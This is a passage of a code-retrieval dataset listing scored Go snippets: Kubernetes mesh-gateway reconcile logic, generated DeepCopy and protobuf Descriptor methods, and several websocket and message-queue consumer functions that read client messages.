err.Error()))\n\t\t\tupdateErr := updateStatus(r.Client, instance, istiov1beta1.ReconcileFailed, errors.Cause(err).Error(), logger)\n\t\t\tif updateErr != nil {\n\t\t\t\tlogger.Error(updateErr, \"failed to update state\")\n\t\t\t\treturn reconcile.Result{}, errors.WithStack(err)\n\t\t\t}\n\t\t\treturn reconcile.Result{\n\t\t\t\tRequeueAfter: time.Second * 30,\n\t\t\t}, nil\n\t\t}\n\t} else {\n\t\tupdateErr := updateStatus(r.Client, instance, istiov1beta1.ReconcileFailed, errors.Cause(err).Error(), logger)\n\t\tif updateErr != nil {\n\t\t\tlogger.Error(updateErr, \"failed to update state\")\n\t\t\treturn reconcile.Result{}, errors.WithStack(err)\n\t\t}\n\t\treturn reconcile.Result{}, emperror.Wrap(err, \"could not reconcile mesh gateway\")\n\t}\n\n\terr = updateStatus(r.Client, instance, istiov1beta1.Available, \"\", logger)\n\tif err != nil {\n\t\treturn reconcile.Result{}, errors.WithStack(err)\n\t}\n\n\tif gatewayHasHostname {\n\t\tlog.Info(fmt.Sprintf(\"gateway uses hostname, trigger reconciliation after %s\", hostnameSyncWaitDuration.String()))\n\t\treturn reconcile.Result{\n\t\t\tRequeueAfter: hostnameSyncWaitDuration,\n\t\t}, nil\n\t}\n\n\treturn reconcile.Result{}, nil\n}", "title": "" }, { "docid": "49da13a16b6914e8b02520088d736776", "score": "0.42420527", "text": "func (*GetGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkservices_v1_gateway_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "4cf36dabbb755b1495e4aad4d3769290", "score": "0.42378613", "text": "func (*GetGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_apigateway_v1_apigateway_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "66ae6cc24f22c0ce79d8ed89cfc1c184", "score": "0.42377877", "text": "func (m *Mesh) Clone() core.INode {\n\n\tclone := new(Mesh)\n\tclone.Graphic = *m.Graphic.Clone().(*Graphic)\n\tclone.SetIGraphic(clone)\n\n\t// Initialize uniforms\n\tclone.uniMm.Init(\"ModelMatrix\")\n\tclone.uniMVm.Init(\"ModelViewMatrix\")\n\tclone.uniMVPm.Init(\"MVP\")\n\tclone.uniNm.Init(\"NormalMatrix\")\n\n\treturn clone\n}", "title": "" }, { "docid": "b684ddc62ba24b317f2161bba6022792", "score": "0.4233204", "text": "func (in *InterfaceMeta) DeepCopy() *InterfaceMeta {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(InterfaceMeta)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "58bce587eb267be0c41d6aeeded2b933", "score": "0.4226954", "text": "func (*DeleteGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkservices_v1_gateway_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "2fbe44528d8374eb2a285512ddf4e5f1", "score": "0.42239395", "text": "func (in *IotHubOperatorSpec) DeepCopy() *IotHubOperatorSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IotHubOperatorSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8560e6a6d146a192bb3da7a23fb944a7", "score": "0.42184836", "text": "func (in *IOTHubEndpointStorageContainerSpec) DeepCopy() *IOTHubEndpointStorageContainerSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IOTHubEndpointStorageContainerSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "6e51761ebc7b7ba06a1183c41d800b58", "score": "0.42181057", "text": "func (*CreateGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_v1_service_proto_rawDescGZIP(), []int{17}\n}", "title": "" }, { "docid": "f3fbda9d740b4397fe09d20f0e24aea5", "score": "0.42169103", "text": "func (in *VirtualNetworkSpec) DeepCopy() *VirtualNetworkSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VirtualNetworkSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "96fee5bd4173d30398cfd55514593792", "score": "0.42121184", "text": "func (in *KMSKeyRingImportJobSpec) DeepCopy() *KMSKeyRingImportJobSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(KMSKeyRingImportJobSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "b75da9cc34dbd51f5fd437efd5b5afbc", "score": "0.4206547", "text": "func (in *VSphereStorageSpec) DeepCopy() *VSphereStorageSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VSphereStorageSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "45ec1dc36e5bc4f3debd8a7f9c7bf346", "score": "0.42060548", "text": "func (in *ModbusDeviceSpec) DeepCopy() *ModbusDeviceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ModbusDeviceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "be6aa9923bf6b5e5e0d1300b9dbc9471", "score": "0.42047334", "text": "func (in *VirtualGateway) DeepCopy() *VirtualGateway {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VirtualGateway)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "93306b44fb93965cae7ce1f201c7c2d7", "score": "0.4203266", "text": "func (in *Jwt_TriggerRule) DeepCopyInterface() interface{} {\n\treturn in.DeepCopy()\n}", "title": "" }, { "docid": "8c2780c20c8b443e512c07696740a911", "score": "0.41942966", "text": "func (in *IAMGroupSpec) DeepCopy() *IAMGroupSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IAMGroupSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8c2780c20c8b443e512c07696740a911", "score": "0.41942966", "text": "func (in *IAMGroupSpec) DeepCopy() *IAMGroupSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IAMGroupSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "0d1d8e89465ffd23a42ab1831260742d", "score": "0.41899803", "text": "func (*SelectedGatewayWorkload) Descriptor() ([]byte, []int) {\n\treturn file_github_com_solo_io_gloo_mesh_api_enterprise_networking_v1beta1_virtual_gateway_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "ebe97c1e4c267927b4ffc5aee230bc18", "score": "0.4183522", "text": "func (*RouterInterface) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_compute_v1_compute_proto_rawDescGZIP(), []int{426}\n}", "title": "" }, { "docid": "391b2f092e18aa2d717631b311997311", "score": "0.4179029", "text": "func (in *BackendGroupSpec) DeepCopy() *BackendGroupSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BackendGroupSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "650af16bddb735ad6172685802b9e640", "score": "0.41769484", "text": "func (in *KustomizationSpec) DeepCopy() *KustomizationSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(KustomizationSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "fc8038021fc8e18c98697ca6d4918583", "score": "0.41751245", "text": "func (in *DummyProtocolDeviceSpec) DeepCopy() *DummyProtocolDeviceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DummyProtocolDeviceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3a7527c6ac98a426ca92ddbac590f15f", "score": "0.41624123", "text": "func (c *meshGateways) Watch(ctx context.Context, opts v1.ListOptions) (watch.Interface, error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\topts.Watch = true\n\treturn c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"meshgateways\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tWatch(ctx)\n}", "title": "" }, { "docid": "dff8c87825c60a604cad8aebdb46e1be", "score": "0.416104", "text": "func (*DeleteClientGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_beyondcorp_clientgateways_v1_client_gateways_service_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "026662765d7275dda5cca8e6d1c6ea4b", "score": "0.4160143", "text": "func (in *ServiceRefSpec) DeepCopy() *ServiceRefSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ServiceRefSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "298e5133bce98357b63a574ef5675b2e", "score": "0.41544092", "text": "func (in *VirtualGatewayBackendDefaults) DeepCopy() *VirtualGatewayBackendDefaults {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VirtualGatewayBackendDefaults)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "170acbf2ddf18ae53ea7f072cdf22e5e", "score": "0.41525966", "text": "func (in *JaegerAgentSpec) DeepCopy() *JaegerAgentSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(JaegerAgentSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "128cd844699c631f0c720bc7fa9aaad1", "score": "0.4148192", "text": "func (in *VirtualServiceSpec) DeepCopy() *VirtualServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VirtualServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "128cd844699c631f0c720bc7fa9aaad1", "score": "0.4148192", "text": "func (in *VirtualServiceSpec) DeepCopy() *VirtualServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VirtualServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a6cda6ac3b304585b12a206ef7c85186", "score": "0.41421437", "text": "func (in *GitStarSpec) DeepCopy() *GitStarSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(GitStarSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "653d8fc97540e79f1c6f309621beee1a", "score": "0.41416952", "text": "func (x *GetGatewayRequest) MarshalProtoJSON(s *jsonplugin.MarshalState) {\n\tif x == nil {\n\t\ts.WriteNil()\n\t\treturn\n\t}\n\ts.WriteObjectStart()\n\tvar wroteField bool\n\tif x.GatewayIds != nil || s.HasField(\"gateway_ids\") {\n\t\ts.WriteMoreIf(&wroteField)\n\t\ts.WriteObjectField(\"gateway_ids\")\n\t\tx.GatewayIds.MarshalProtoJSON(s.WithField(\"gateway_ids\"))\n\t}\n\tif x.FieldMask != nil || s.HasField(\"field_mask\") {\n\t\ts.WriteMoreIf(&wroteField)\n\t\ts.WriteObjectField(\"field_mask\")\n\t\tif x.FieldMask == nil {\n\t\t\ts.WriteNil()\n\t\t} else {\n\t\t\tgolang.MarshalLegacyFieldMask(s, x.FieldMask)\n\t\t}\n\t}\n\ts.WriteObjectEnd()\n}", "title": "" }, { "docid": "1da32bc19f3eb9c29801b5ddab0752ff", "score": "0.41399562", "text": "func (*Gateway) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkservices_v1_gateway_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "5e0c9761d8432f79a6ce0433fd332a8d", "score": "0.41386458", "text": "func (in *DimseServiceSpec) DeepCopy() *DimseServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DimseServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5854740ec62376656d1f0451171a9a16", "score": "0.4137944", "text": "func (*DescribeTrunkNetworkInterfaceRequest) Descriptor() ([]byte, []int) {\n\treturn file_vpc_proto_rawDescGZIP(), []int{41}\n}", "title": "" }, { "docid": "e886a59b91034e3528586090c67d16f5", "score": "0.4135945", "text": "func newMeshGateways(c *IstioV1beta1Client, namespace string) *meshGateways {\n\treturn &meshGateways{\n\t\tclient: c.RESTClient(),\n\t\tns: namespace,\n\t}\n}", "title": "" }, { "docid": "db100578adc91821c3fe995783000cca", "score": "0.41322085", "text": "func (*Gateway) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_apigateway_v1_apigateway_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "e06844af3ad429efa85f9a61c89f4dbb", "score": "0.4131512", "text": "func (x *fastReflection_MsgSend) Interface() protoreflect.ProtoMessage {\n\treturn (*MsgSend)(x)\n}", "title": "" } ]
4fef4c71a3e8948e79a2bb989814b0bc
Consume function will read incoming message from client
[ { "docid": "a87fb6dc2482f6ee91d238eb97d26100", "score": "0.6680261", "text": "func (c *Client) Consume() {\n\n\t// if function finish, remove client\n\t// and also close connection\n\tdefer func() {\n\t\tc.Manager.Unregister <- c\n\t\tc.Conn.Close()\n\t}()\n\n\tc.Conn.SetReadLimit(MaxMessageSize)\n\tc.Conn.SetReadDeadline(time.Now().Add(PongWait))\n\tc.Conn.SetPongHandler(func(string) error {\n\t\tc.Conn.SetReadDeadline(time.Now().Add(PongWait))\n\t\treturn nil\n\t})\n\n\tfor {\n\t\t// read message from client\n\t\t_, msg, err := c.Conn.ReadMessage()\n\t\tif err != nil {\n\n\t\t\tc.Manager.Unregister <- c\n\t\t\tc.Conn.Close()\n\t\t\tbreak\n\t\t}\n\n\t\tvar message Message\n\t\terr = json.Unmarshal(msg, &message)\n\t\tif err != nil {\n\t\t\tc.Manager.Unregister <- c\n\t\t\tc.Conn.Close()\n\t\t\tbreak\n\t\t}\n\n\t\tif message.MessageType == AuthMessage {\n\t\t\tif message.AuthKey != c.Manager.AuthKey {\n\t\t\t\t// auth is invalid, then remove the client that match with its ID\n\t\t\t\tc.Conn.Close()\n\t\t\t\tc.Manager.DeleteClient(c)\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tjwtClaimResult := c.Manager.JwtService.Validate(context.Background(), message.Token)\n\t\t\tif jwtClaimResult.Error != nil {\n\t\t\t\t// this error scope, represent error from token expired or token format error\n\t\t\t\t// if error, send message with 'AuthFail' type, to tell client to close its connection\n\t\t\t\t// and remove its cookie or localstorage\n\t\t\t\tmessage := &Message{MessageType: AuthFail, Content: jwtClaimResult.Error.Error(), Date: time.Now()}\n\t\t\t\tmsg, _ := json.Marshal(message)\n\n\t\t\t\tc.MsgChan <- msg\n\n\t\t\t} else {\n\t\t\t\tjwtClaim := jwtClaimResult.Data.(*jwt.Claim)\n\t\t\t\tfmt.Println(\"-------------------------\")\n\t\t\t\tfmt.Println(jwtClaim.User.Email)\n\t\t\t\t// auth success, send information to AuthSuccess's Manager\n\t\t\t\tc.IsOnline = true\n\t\t\t\tif message.Username != \"\" {\n\t\t\t\t\tc.Username = message.Username\n\t\t\t\t}\n\t\t\t\tc.Manager.AuthSuccess <- c\n\t\t\t}\n\t\t}\n\n\t\tmessage.From = c.Username\n\t\tmessage.Date = time.Now()\n\n\t\t// send message to Manager's IncomingMessage\n\t\tc.Manager.IncomingMessage <- &message\n\n\t}\n\n}", "title": "" } ]
[ { "docid": "daaa71dd9c8670acc355e73372744395", "score": "0.6878323", "text": "func (c *Client) Read() {\n\tdefer func() {\n\t\tc.Broker.Unregister <- c\n\t\tc.Conn.Close()\n\t}()\n\n\tfor {\n\t\t_, buf, err := c.Conn.ReadMessage()\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn\n\t\t}\n\t\tvar move structs.Word\n\t\tdecoder := json.NewDecoder(strings.NewReader(string(buf)))\n\t\terr = decoder.Decode(&move)\n\n\t\tc.Broker.Broadcast <- move\n\t\t//log.Printf(\"Client: Move received: %+v\\n\", move)\n\t}\n}", "title": "" }, { "docid": "89c4de1406e097452c3b76cd705ebdb3", "score": "0.6860834", "text": "func (s *Server) handleRead(pubKey credentials.StaticSizedPublicKey, done <-chan struct{}) {\n\ttr, err := s.connMgr.getTransport(pubKey)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor {\n\t\tselect {\n\t\tcase in := <-tr.Read():\n\t\t\t// Unmarshal the message\n\t\t\tmsg := &message.Message{}\n\t\t\tif err := UnmarshalProtoMessage(in, msg); err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Handle the message request or response\n\t\t\tswitch ex := msg.Exchange.(type) {\n\t\t\tcase *message.Message_Request:\n\t\t\t\ts.handleMessageRequest(pubKey, ex.Request)\n\t\t\tcase *message.Message_Response:\n\t\t\t\ts.handleMessageResponse(ex.Response)\n\t\t\tdefault:\n\t\t\t\t// log.Println(\"Invalid message type\")\n\t\t\t}\n\t\tcase <-done:\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2bee05b121512dc7d41dad7b396a061c", "score": "0.6817886", "text": "func (c *Client) serveRead() {\n\tdefer c.Deregister()\n\n\tfor {\n\t\t_, message, err := c.conn.ReadMessage()\n\t\tif err != nil {\n\t\t\tif websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {\n\t\t\t\tlog.Printf(\"error: %v\", err)\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t\tparsedMessage, err := parseIncomingMessage(c, message)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error parsing client message: %s\", err)\n\t\t\tresponse, err := json.Marshal(ParseError)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Error encoding base error response: %s\", err)\n\t\t\t}\n\t\t\tc.send <- response\n\t\t\tcontinue\n\t\t}\n\t\terr = dispatchClientMessage(c.hub.dispatcher, parsedMessage)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error dispatching client action: %s\", err)\n\t\t\tbreak\n\t\t}\n\t\tc.receive <- message\n\t}\n}", "title": "" }, { "docid": "a918ddfbdabf96894efc560d7ddc91a3", "score": "0.6758404", "text": "func (client *Clienter) Read() {\n\tfor {\n\t\tmessage, err := client.reader.ReadString('\\n')\n\t\t// If read error, send a signal to delete the client and drop the routine.\n\t\tif err != nil {\n\t\t\tclient.connection.Close()\n\t\t\tclient.kvs.delete <- client\n\t\t\tbreak\n\t\t}\n\t\tid := client.cid\n\t\trequest := &Request{\n\t\t\tinput: message,\n\t\t\tcid: id,\n\t\t}\n\t\tclient.kvs.req <- request\n\t}\n}", "title": "" }, { "docid": "12844fb7609ec711fb9cfba7540da9ef", "score": "0.66969806", "text": "func readMsg(ws *websocket.Conn, cancel context.CancelFunc, client *firestore.Client) {\n\n\tvar payload models.MsgPayload = models.MsgPayload{\n\t\tConn: ws,\n\t\tClient: client,\n\t}\n\n\tdefer cancel()\n\n\tfor {\n\t\terr := ws.ReadJSON(&payload)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tbreak\n\t\t}\n\t\tswitch payload.Type {\n\t\tcase \"postFromClient\":\n\t\t\tpostFromClientChan <- payload\n\t\tcase \"initFromClient\":\n\t\t\tinitFromClientChan <- payload\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c65a389139356db59ce31f05d0c1ff91", "score": "0.6633304", "text": "func (client *Client) Read() {\n\tfor {\n\t\t// reads the string\n\t\tline, err := client.reader.ReadString('\\n')\n\t\t// handles error\n\t\tif err != nil {\n\t\t\tfmt.Println(\"A connection closed\")\n\t\t\treturn\n\t\t}\n\t\t// publishes message on its incoming channel\n\t\tclient.incoming <- line\n\t}\n}", "title": "" }, { "docid": "b9a780e7bbbfe06a6de49bb4f105b883", "score": "0.6588214", "text": "func (client *Client) read() {\n\t// Continuously listen for data coming from network channel\n\tfor {\n\t\tbuf := make([]byte, 1024)\n\n\t\tn, _ := client.reader.Read(buf)\n\t\tif n == 0 {\n\t\t\tclose(client.Incoming)\n\t\t\tbreak\n\t\t}\n\t\tmessage := string(buf)\n\t\tif len(strings.TrimSpace(message)) > 0 {\n\t\t\tclient.Incoming <- message\n\t\t}\n\t}\n}", "title": "" }, { "docid": "14958feca7e17a901c3e5d3ba4c166b1", "score": "0.65815705", "text": "func (r *ReliableTransport) consume(data []byte, err error) {\n\tif err != nil {\n\t\tr.log.Errorf(\"failed consuming message at %s. %v\", r.partition, err)\n\t\treturn\n\t}\n\n\tif data == nil {\n\t\tr.log.Warnf(\"received empty message at %s\", r.partition)\n\t\treturn\n\t}\n\n\tvar m types.Message\n\tif err := json.Unmarshal(data, &m); err != nil {\n\t\tr.log.Errorf(\"failed unmarshalling message %#v. %v\", data, err)\n\t\treturn\n\t}\n\n\tctx, cancel := context.WithTimeout(r.context, r.timeout)\n\tdefer cancel()\n\tselect {\n\tcase <-ctx.Done():\n\t\tr.log.Warnf(\"%s took to long consuming. %#v\", r.partition, m)\n\t\treturn\n\tcase r.producer <- m:\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "4d40f65da223507a3ee211db8269958e", "score": "0.6575494", "text": "func (c *Client) readRoutine() {\n\tdefer func() {\n\t\tc.ch.unregister <- c\n\t\tc.conn.Close()\n\t}()\n\n\t// Limit the size of the messages we read\n\tc.conn.SetReadLimit(maxMessageSize) // TODO: Move to creation of conn\n\tc.conn.SetReadDeadline(time.Now().Add(pongWait))\n\tc.conn.SetPongHandler(func(string) error {\n\t\tc.conn.SetReadDeadline(time.Now().Add(pongWait))\n\t\treturn nil\n\t})\n\n\tfor {\n\t\t_, msg, err := c.conn.ReadMessage()\n\t\tif err != nil {\n\t\t\tif ws.IsUnexpectedCloseError(err, ws.CloseGoingAway, ws.CloseAbnormalClosure) {\n\t\t\t\tlog.Printf(\"error: %v\", err)\n\t\t\t} // Else the Close was expected aka no error.\n\t\t\treturn\n\t\t}\n\n\t\tmessage := NewMessage(c.Name, strings.Trim(string(msg), \" \\n\\r\"))\n\t\tc.ch.broadcast <- message\n\t}\n}", "title": "" }, { "docid": "f3d7cc18827d861c3f01968835eb1257", "score": "0.65646106", "text": "func (e *a1Receiver) Consume(rp *xapp.RMRParams) (err error) {\n\te.msgChan <- rp\n\treturn\n}", "title": "" }, { "docid": "c9ac63b0108d9aacae7f94a7eda62d63", "score": "0.65136176", "text": "func (c *client) listenRead() {\n\tdefer func() {\n\t\tc.hub.unregister <- c\n\t\tc.conn.Close()\n\t}()\n\n\tc.conn.SetReadLimit(maxMessageSize)\n\tc.conn.SetReadDeadline(time.Now().Add(pongWait))\n\tc.conn.SetPongHandler(func(string) error { c.conn.SetReadDeadline(time.Now().Add(pongWait)); return nil })\n\n\tfor {\n\t\tenvelope := command.Envelope{}\n\n\t\tif err := c.conn.ReadJSON(&envelope); err != nil {\n\t\t\tif websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseAbnormalClosure, websocket.CloseNormalClosure) {\n\t\t\t\tlog.Errorf(\"websocket read error: %v\", err)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\n\t\tcmd, err := command.Unpack(envelope)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"failed to decode command: %v\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tif clientAwareCmd, ok := cmd.(command.SenderAwareCommand); ok {\n\t\t\tclientAwareCmd.SetSender(c)\n\t\t}\n\n\t\tc.commandQueue <- cmd\n\t}\n}", "title": "" }, { "docid": "f0309ee31d72ef03b5c661caca0c7b6c", "score": "0.6510262", "text": "func (c *Consumer) Consume() (msg *kafka.Message, err error) {\n\tmsg, err = c.kc.ReadMessage(-1)\n\treturn msg, err\n}", "title": "" }, { "docid": "2df03cbca21636bf277b762db2f4cc75", "score": "0.6484444", "text": "func (s *ClientState) Reader() {\n\tdefer func() { s.readerDone <- struct{}{} }()\n\tfor !interrupted {\n\t\tselect {\n\t\tcase <-s.writerDone:\n\t\t\treturn\n\t\tdefault:\n\t\t}\n\t\tlogDebug(\"reading message\")\n\t\ts.ws.SetReadDeadline(time.Now().Add(WEBSOCKET_READ_TIMEOUT))\n\t\tmsgType, bytes, err := s.ws.ReadMessage()\n\t\tatomic.AddInt64(&processed, 1)\n\t\tif err != nil || msgType != websocket.TextMessage {\n\t\t\tlogError(\"error reading from server socket: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tlogDebug(\"received: %s\", string(bytes))\n\t\tvar body MsgBody\n\t\terr = json.Unmarshal(bytes, &body)\n\t\tif err != nil {\n\t\t\tlogError(\"reader: could not parse msg: %s\", err)\n\t\t\treturn\n\t\t}\n\t\ts.input <- body\n\t}\n}", "title": "" }, { "docid": "1c8d10e4ba83a7ba6117842ae5eac54f", "score": "0.64821124", "text": "func (c *Client) listenRead() {\n for {\n select {\n\n // receive done request\n case <-c.doneCh:\n c.grid.Del(c)\n c.doneCh <- true // for listenWrite method\n return\n\n // read data from websocket connection\n default:\n var msg Message\n err := websocket.JSON.Receive(c.ws, &msg)\n //fmt.Println(\"msg--- \", msg)\n if err == io.EOF {\n c.doneCh <- true\n } else if err != nil {\n c.grid.Err(err)\n } else {\n msg.Client = c.id\n c.grid.RecieveMessage(&msg)\n }\n }\n }\n}", "title": "" }, { "docid": "f012eda6f757b27079d051f8f6045b7e", "score": "0.6451064", "text": "func (rabbitMQClient *RabbitMQClient) Consume() (chan []byte, error) {\n\tif rabbitMQClient.connection == nil || rabbitMQClient.channel == nil {\n\t\treturn nil, errors.New(\"AMQP connection/client not intialized\")\n\t}\n\n\tmessageChannel := make(chan []byte)\n\n\t// Get message channel from channel\n\tdeliveries, err := rabbitMQClient.channel.Consume(\n\t\trabbitMQClient.queueName, // queue\n\t\t\"\", // consumer\n\t\ttrue, // auto-ack\n\t\tfalse, // exclusive\n\t\tfalse, // no-local\n\t\tfalse, // no-wait\n\t\tnil, // args\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Start up Goroutine and convert messages coming in from RabbitMQ\n\tgo func() {\n\t\tfor msg := range deliveries {\n\t\t\tmessageChannel <- msg.Body\n\t\t}\n\t\tclose(messageChannel)\n\t}()\n\n\treturn messageChannel, nil\n}", "title": "" }, { "docid": "ddab9276995da18f796f36795c67221c", "score": "0.6384984", "text": "func receive(dec json.Decoder, ctrl *Control){\n\tif testing {log.Println(\"receive\")}\n\tmsg:= new(Message)\n\tfor {\n\t\tif err := dec.Decode(msg);err != nil {\n\t\t\tfmt.Println(\"Something went wrong, closing connection\")\n\t\t\tpanic(err)\n\t\t\treturn\n\t\t}\n\t\tif msg.Kind==\"PRIVATE\"{\n\t\t\tctrl.updateText(msg.Username+\" wispers: \"+msg.MSG)\n\t\t}else if msg.Kind==\"PUBLIC\"{\n\t\t\tctrl.updateText(msg.Username+\": \"+msg.MSG)\n\t\t}else if msg.Kind==\"ADD\" || msg.Kind==\"DISCONNECT\"{\n\t\t\tctrl.updateText(msg.MSG)\n\t\t\tctrl.updateList(msg.Usernames)\n\t\t}else if msg.Kind==\"SAMENAME\"{\n\t\t\tmyName=msg.Username\n\t\t\tctrl.updateText(msg.MSG)\n\t\t}\t\n\t}\n}", "title": "" }, { "docid": "9836f2875c32f0d77fd399d36a1c0ff9", "score": "0.6372769", "text": "func (c *SocketClient) listenRead(requestCh chan *Message) {\n\tlog.Println(\"Listening read from client\")\n\n\tfor {\n\t\tselect {\n\n\t\t// receive done request\n\t\tcase <-c.doneCh:\n\t\t\tc.doneCh <- true // for listenWrite method\n\t\t\treturn\n\n\t\t// read data from websocket connection\n\t\tdefault:\n\t\t\tvar msg Message\n\t\t\terr := c.ws.ReadJSON(&msg)\n\t\t\tif err == io.EOF {\n\t\t\t\tc.doneCh <- true\n\t\t\t} else if err != nil {\n\t\t\t\tlog.Println(\"Error:\", err.Error())\n\t\t\t\tc.doneCh <- true\n\t\t\t} else {\n\t\t\t\tif c.PlayerId() == msg.PlayerId {\n\t\t\t\t\trequestCh <- &msg\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"Error: Wrong client id: \" + c.PlayerId() + \" != \" + msg.PlayerId)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "30581c085e23f7422a4ae9c72a81ea4b", "score": "0.6348121", "text": "func (mod *backendModule) consume(topic string, msg []byte, err error) {\n\tif err != nil {\n\t\tmod.Logger().Warn().\n\t\t\tError(\"error\", err).\n\t\t\tPrint(\"mq consume error\")\n\t\treturn\n\t}\n\tn, m, err := proto.Decode(msg, mod.arena)\n\tif err != nil {\n\t\tmod.Logger().Error().\n\t\t\tInt(\"size\", len(msg)).\n\t\t\tError(\"error\", err).\n\t\t\tPrint(\"unmarshal message from mq error\")\n\t\treturn\n\t}\n\tdefer mod.arena.Put(m)\n\tmod.Logger().Debug().\n\t\tInt(\"size\", len(msg)).\n\t\tInt(\"read\", n).\n\t\tInt(\"type\", int(m.Typeof())).\n\t\tPrint(\"received a message from mq\")\n\n\tswitch ptc := m.(type) {\n\tcase *gatepb.Unicast:\n\t\terr = mod.service.Frontend().Unicast(ptc.Uid, ptc.Msg)\n\tcase *gatepb.Multicast:\n\t\terr = mod.service.Frontend().Multicast(ptc.Uids, ptc.Msg)\n\tcase *gatepb.Broadcast:\n\t\terr = mod.service.Frontend().Broadcast(ptc.Msg)\n\tcase *gatepb.Kickout:\n\t\terr = mod.service.Frontend().Kickout(ptc.Uid, gatepb.KickoutReason(ptc.Reason))\n\tcase *gatepb.Router:\n\t\tif ptc.Addr == \"\" {\n\t\t\tmod.routers.Remove(ptc.Mod)\n\t\t} else {\n\t\t\tmod.routers.Add(ptc.Mod, ptc.Addr)\n\t\t}\n\tdefault:\n\t\terr = errUnknownMessage\n\t}\n\n\tif err != nil {\n\t\tmod.Logger().Warn().\n\t\t\tInt(\"type\", 